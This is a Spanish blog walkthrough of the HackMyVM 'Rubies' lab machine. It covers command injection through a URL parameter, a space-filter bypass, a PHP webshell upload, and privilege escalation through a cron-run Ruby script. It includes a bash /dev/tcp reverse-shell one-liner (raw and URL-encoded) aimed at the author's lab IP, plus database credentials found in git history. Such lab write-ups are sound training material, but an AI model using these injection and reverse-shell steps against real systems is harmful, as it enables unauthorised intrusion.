HackMyVM Rubies — Linux

Gm4tsyGm4tsy
4 min read

Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.

Descargamos el archivo de la página https://hackmyvm.eu/machines/

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.

Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan para ver la dirección IP en nuestra red que sería la 192.168.0.18.

Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.

Empezamos con un escaneo de puertos y podemos ver que tenemos 2 puertos.

Al realizar un escaneo más profundo y podemos ver que en el puerto 80 tenemos un .git.

Realizamos un escaneo de subdirectorios y podemos ver que tenemos varios interesantes.

Ingresamos la dirección IP en el navegador y podemos ver que la opción de subir archivos parecen desactivados.

Ingresamos la dirección IP en el navegador y podemos ver que la opción de subir archivos parecen desactivados.

Al dar al botón next observamos que en efecto nos muestran poemas, pero lo más interesante está en la estructura del URL.

Veremos si podemos leer el /etc/passwd, luego de enviarlo si tenemos una res puesta positiva.

Agregando un nuevo comando podemos observar que ejecuta comandos.

Probaremos enviando una revshell

bash -c 'bash -i >& /dev/tcp/192.168.0.61/1234 0>&1'

Pero para evitar problemas lo URL-encodeamos.

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.61%2F1234%200%3E%261%22

Antes de enviar iniciamos nuestro listener con el puerto seleccionado.

Vemos una respuesta interesante que indica que detectaron.

Buscando como podemos saltar los espacios tenemos Separadores de Campos de Entrada Probamos con estos parámetros y vemos que sí nos ejecuta.

Con esto lo que haremos es descargar una webshell simple en PHP, ya que vemos que el index es un PHP. Creamos el archivo y comenzamos el servidor.

Descargamos el archivo.

Listamos y podemos ver que tenemos el archivo en el mismo directorio.

Ejecutamos la shell y podemos ver que sí tenemos respuesta.

Volvemos a probar enviando una revshell

bash -c 'bash -i >& /dev/tcp/192.168.0.61/1234 0>&1'

Pero para evitar problemas lo URL-encodeamos.

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.61%2F1234%200%3E%261%22

Antes de enviar empezamos nuestro listener con el puerto seleccionado.

Enviamos el comando y la web se quedará cargando lo que es buena señal.

Regresando al listener tenemos ya acceso a la máquina.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola. Buscando permisos y archivos vemos que no tenemos alguno interesante. Recordemos que teníamos un .git, descargaremos el directorio.

Entramos en el archivo .git y vemos que tenemos el logs.

Revisamos los commits y tenemos.

Para una mayor claridad hacemos uso de

git log --oneline

realizamos un git show para poder observar los cambios en el commit y encontramos unas credenciales de MySQL.

root:jd92khn49w

Probamos ingresando las credenciales, pero solo nos va con minie, pero esta nos muestra una nueva pestaña.

Generamos un bash y salimos.

exec("/bin/bash")

Revisamos Permisos, pero no vemos nada interesante. Buscando entre los archivos temporales tenemos uno interesante en opt.

Comprobando más a fondo vemos que se trata de un Ruby que es para buscar de manera recursiva y eliminar cualquiera que tenga .php

Descargaremos el archivo pspy64 para ver si tenemos algún programa que esté ejecutando el archivo que encontramos.

Luego de ejecutar vemos que está ejecutando un script interesante que está en Ruby también.

Ya que se ejecuta con cierta frecuencia, supondremos que este script lee la carpeta cleaning. Por ello, en la carpeta agregaremos una revshell que obtuvimos en un GitHub.

Iniciamos nuestro listener.

Creamos el archivo y le damos permisos de ejecución para evitar algún posible problema.

Después de unos segundos vemos en nuestro listener y tenemos acceso como root. De esta manera culminamos esta máquina.

0
Subscribe to my newsletter

Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Gm4tsy
Gm4tsy